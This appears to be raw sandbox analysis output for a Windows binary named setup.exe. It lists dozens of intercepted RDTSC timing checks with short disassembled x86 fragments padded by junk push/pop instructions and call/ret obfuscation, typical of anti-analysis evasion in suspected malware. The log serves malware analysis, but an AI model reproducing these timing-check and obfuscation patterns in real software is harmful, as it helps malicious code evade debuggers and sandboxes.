Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D8A10 second address: 5D8A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC169461A96h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D8A24 second address: 5D8A28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5D8A28 second address: 5D8A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E1890 second address: 5E18A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007FC16945A27Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E0CC1 second address: 5E0CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FC169461AA1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E0CDB second address: 5E0CE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E0FD0 second address: 5E0FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC169461AA2h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC169461A9Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E0FF7 second address: 5E1030 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FC16945A282h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007FC16945A276h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 jmp 00007FC16945A27Bh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 jnl 00007FC16945A276h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E1466 second address: 5E146A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E146A second address: 5E1470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E1747 second address: 5E174E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E174E second address: 5E1757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E2CAC second address: 5E2CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E2CB0 second address: 5E2CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E2D56 second address: 5E2D60 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC169461A96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E2E81 second address: 5E2E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E4061 second address: 5E40C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FC169461AA9h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+122D28D9h], esi 0x00000016 push 00000000h 0x00000018 mov esi, dword ptr [ebp+122D2A17h] 0x0000001e mov di, 03C0h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007FC169461A98h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000016h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e xor si, CC13h 0x00000043 mov dword ptr [ebp+122D18A7h], esi 0x00000049 push eax 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e pop edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E52DA second address: 5E52DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E52DE second address: 5E52E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E5DA7 second address: 5E5DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E6877 second address: 5E6883 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E6883 second address: 5E688A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E7485 second address: 5E748B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E748B second address: 5E748F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E748F second address: 5E7516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D2F04h], edx 0x00000011 movsx esi, bx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FC169461A98h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov edi, dword ptr [ebp+122D2A73h] 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007FC169461A98h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 jmp 00007FC169461A9Bh 0x00000057 xchg eax, ebx 0x00000058 pushad 0x00000059 push ecx 0x0000005a jmp 00007FC169461AA2h 0x0000005f pop ecx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 pop eax 0x00000064 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5E7DBF second address: 5E7DDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FC16945A278h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5ECF49 second address: 5ECF4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F0A26 second address: 5F0A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC16945A276h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F0B73 second address: 5F0B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F1B5A second address: 5F1B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F0B79 second address: 5F0B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F1C22 second address: 5F1C28 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F2CA5 second address: 5F2CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F2CAE second address: 5F2CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F3CA7 second address: 5F3CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F4C8C second address: 5F4CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 clc 0x00000007 push dword ptr fs:[00000000h] 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FC16945A278h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 cld 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007FC16945A278h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a mov eax, dword ptr [ebp+122D0775h] 0x00000050 mov dword ptr [ebp+122D2610h], esi 0x00000056 push FFFFFFFFh 0x00000058 mov ebx, dword ptr [ebp+122D2C7Bh] 0x0000005e nop 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push esi 0x00000064 pop esi 0x00000065 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F59F6 second address: 5F59FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F4CFE second address: 5F4D04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F59FF second address: 5F5A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F5A03 second address: 5F5A8B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC16945A276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FC16945A285h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FC16945A278h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c jnc 00007FC16945A27Ch 0x00000032 push edi 0x00000033 mov di, D5E1h 0x00000037 pop ebx 0x00000038 push 00000000h 0x0000003a movzx ebx, si 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007FC16945A278h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 0000001Dh 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 xchg eax, esi 0x0000005a pushad 0x0000005b push ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F6AAB second address: 5F6AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461AA1h 0x00000009 popad 0x0000000a push ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FC169461A96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F8ADD second address: 5F8AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5ACE35 second address: 5ACE4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007FC169461A96h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F6C93 second address: 5F6D21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A27Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC16945A27Ch 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FC16945A278h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov ebx, dword ptr [ebp+122D2ACBh] 0x00000030 push dword ptr fs:[00000000h] 0x00000037 pushad 0x00000038 jmp 00007FC16945A27Ch 0x0000003d add ebx, dword ptr [ebp+122D5B92h] 0x00000043 popad 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b mov ebx, dword ptr [ebp+122D2967h] 0x00000051 mov di, si 0x00000054 mov eax, dword ptr [ebp+122D0B71h] 0x0000005a sbb edi, 58034AD8h 0x00000060 push FFFFFFFFh 0x00000062 mov dword ptr [ebp+124587CDh], ebx 0x00000068 mov bh, E5h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F6D21 second address: 5F6D27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5ACE4A second address: 5ACE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F6D27 second address: 5F6D2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5ACE4F second address: 5ACE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC16945A276h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5ACE5B second address: 5ACE66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5FA004 second address: 5FA00A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5FA00A second address: 5FA02D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC169461A98h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC169461AA4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5F93B3 second address: 5F93B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5FB27D second address: 5FB283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5FC25C second address: 5FC260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5FC260 second address: 5FC26E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FC169461A9Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5FF2DA second address: 5FF2DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6020C4 second address: 6020CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6020CA second address: 6020DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jng 00007FC16945A282h 0x0000000c jns 00007FC16945A276h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 600207 second address: 60020B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6002D7 second address: 6002E8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC16945A276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 6002E8 second address: 6002FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461A9Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 609474 second address: 609496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jo 00007FC16945A287h 0x00000011 jmp 00007FC16945A27Fh 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5AE86E second address: 5AE878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5AE878 second address: 5AE89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC16945A281h 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FC16945A276h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5AE89A second address: 5AE8A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5AE8A6 second address: 5AE8B0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC16945A276h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5AE8B0 second address: 5AE8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jnc 00007FC169461A96h 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC169461AA3h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 608F6A second address: 608F87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC16945A283h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 608F87 second address: 608F8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 608F8C second address: 608F92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 608F92 second address: 608FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 608FA1 second address: 608FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 608FA5 second address: 608FB1 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC169461A96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 608FB1 second address: 608FB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 608FB7 second address: 608FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC169461AA5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 60AA3C second address: 60AA52 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC16945A276h 0x00000008 jns 00007FC16945A276h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 60AA52 second address: 60AA63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007FC169461A96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 60AA63 second address: 60AA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC16945A27Ah 0x00000009 popad 0x0000000a popad 0x0000000b jc 00007FC16945A29Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 60AA7D second address: 60AA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5A62D7 second address: 5A62DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5A62DB second address: 5A62FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC169461AA5h 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5A62FB second address: 5A6307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 5A6307 second address: 5A6311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC169461A96h 0x0000000a rdtsc
